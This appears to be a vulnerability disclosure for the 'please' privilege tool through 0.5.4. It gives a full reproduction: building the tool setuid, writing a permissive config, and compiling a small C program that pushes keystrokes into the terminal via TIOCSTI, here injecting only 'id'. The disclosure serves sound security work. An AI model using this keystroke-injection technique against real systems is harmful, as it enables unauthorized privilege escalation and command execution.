Pleaser privilege escalation vulnerability

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.